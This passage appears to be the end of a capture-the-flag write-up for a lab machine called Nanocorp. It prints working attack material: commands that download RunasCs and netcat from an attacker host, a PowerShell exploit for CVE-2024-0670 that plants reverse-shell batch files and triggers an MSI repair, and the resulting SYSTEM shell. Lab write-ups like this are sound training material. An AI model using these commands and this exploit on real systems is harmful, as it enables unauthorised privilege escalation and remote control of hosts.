PS C:\Users\monitoring_svc\Documents> .\runas.exe web_svc 'dksehdgh712!@#' "cmd /c msiexec /f {675A6D5C-FF5A-11EF-AEA3-1967AD678D6D} & dir C:\Windows\Temp"

 Volume in drive C has no label.
 Volume Serial Number is 2EB6-7759

 Directory of C:\Windows\Temp

03/18/2026  10:55 PM    <DIR>          .
11/03/2025  05:18 PM    <DIR>          ..
03/18/2026  10:48 PM                 6 abc
03/18/2026  02:58 PM                53 af397ef28e484961ba48646a5d38cf54.db.ses
03/18/2026  10:55 PM             1,069 cmk_all_8512_1.cmd
03/18/2026  10:55 PM               423 cmk_data_8512_2.cmd
03/18/2026  02:58 PM                 0 mat-debug-5680.log
03/18/2026  03:30 PM            38,730 MpCmdRun.log
03/18/2026  02:57 PM               102 silconfig.log
11/03/2025  06:05 PM    <DIR>          vmware-SYSTEM
11/12/2025  11:24 AM           197,285 vmware-vmsvc-SYSTEM.log
11/04/2025  04:18 PM            16,602 vmware-vmtoolsd-Administrator.log
03/18/2026  02:56 PM            21,488 vmware-vmtoolsd-SYSTEM.log
03/18/2026  02:59 PM             5,381 vmware-vmtoolsd-web_svc.log
11/04/2025  04:20 PM            66,145 vmware-vmusr-Administrator.log
03/18/2026  02:59 PM             6,579 vmware-vmusr-web_svc.log
03/18/2026  02:56 PM            20,613 vmware-vmvss-SYSTEM.log
              14 File(s)        374,476 bytes
               3 Dir(s)   8,066,195,456 bytes free
PS C:\Users\monitoring_svc\Documents>

We also needed to be running as web_svc to trigger the repair (since the MSI was installed from that user's desktop). We downloaded RunasCs and nc64.exe to facilitate this.

PS C:\Users\monitoring_svc\Documents> iwr -uri http://10.10.14.102:8000/RunasCs.exe -outfile runas.exe
PS C:\Users\monitoring_svc\Documents> .\runas.exe web_svc 'dksehdgh712!@#' \
  "cmd /c curl http://10.10.14.102:8000/nc.exe -o C:\Windows\Tasks\nc64.exe"

Next, we used the exploitation script from tralsesec/CVE-2024-0670. The script seeds all possible PID-based filenames with our reverse shell payload, marks them read-only to prevent the MSI from overwriting them, then triggers the repair.

# CONFIG
$LHOST = "10.10.14.102"
$LPORT = "8844"
$NcPath = "C:\Windows\Tasks\nc64.exe"
$MinPID = 1000
$MaxPID = 15000

# PAYLOAD
$BatchPayload = "@echo off`r`n$NcPath -e cmd.exe $LHOST $LPORT"

# FIND MSI
$msi = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties' | 
  Where-Object { $_.DisplayName -like '*mk*' } | 
  Select-Object -First 1).LocalPackage

# SEED TRAP
Write-Host "[*] Seeding trap files..."
foreach ($ctr in 0..1) {
    for ($num = $MinPID; $num -le $MaxPID; $num++) {
        $filePath = "C:\Windows\Temp\cmk_all_$($num)_$($ctr).cmd"
        try {
            [System.IO.File]::WriteAllText($filePath, $BatchPayload, [System.Text.Encoding]::ASCII)
            Set-ItemProperty -Path $filePath -Name IsReadOnly -Value $true -ErrorAction SilentlyContinue
        } catch {}
    }
}

# TRIGGER
Write-Host "[*] Triggering repair..."
Start-Process "msiexec.exe" -ArgumentList "/fa `"$msi`" /qn" -Wait

We set up our listener and executed the script as web_svc via RunasCs.

┌──(kali㉿kali)-[~/Documents/pentest-tools/CVE-2024-0670]
└─$ rlwrap nc -nlvp 8844
listening on [any] 8844 ...
connect to [10.10.14.102] from (UNKNOWN) [10.129.7.217] 53540
Microsoft Windows [Version 10.0.20348.3207]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

We landed a shell as SYSTEM, and the root flag was waiting on the Administrator's desktop.

Conclusion

In summary, we began by exploiting CVE-2025-24071 to leak the NetNTLMv2 hash of web_svc through a malicious zip upload on the job application portal. Cracking the hash gave us our first set of domain credentials.

BloodHound revealed a two-hop privilege escalation: web_svc could add itself to IT_Support, and IT_Support members could force-change monitoring_svc's password. With monitoring_svc in the Protected Users group, we had to use Kerberos exclusively, obtaining a TGT and logging in over WinRM with winrmexec.py.

On the box, we found Check MK Agent 2.1 installed and abused CVE-2024-0670 — pre-seeding C:\Windows\Temp with a reverse shell payload across all possible PID filenames, then triggering the MSI repair process which executed our file as SYSTEM.

That wraps up Nanocorp. Thanks for reading, and I'll see you in the next one!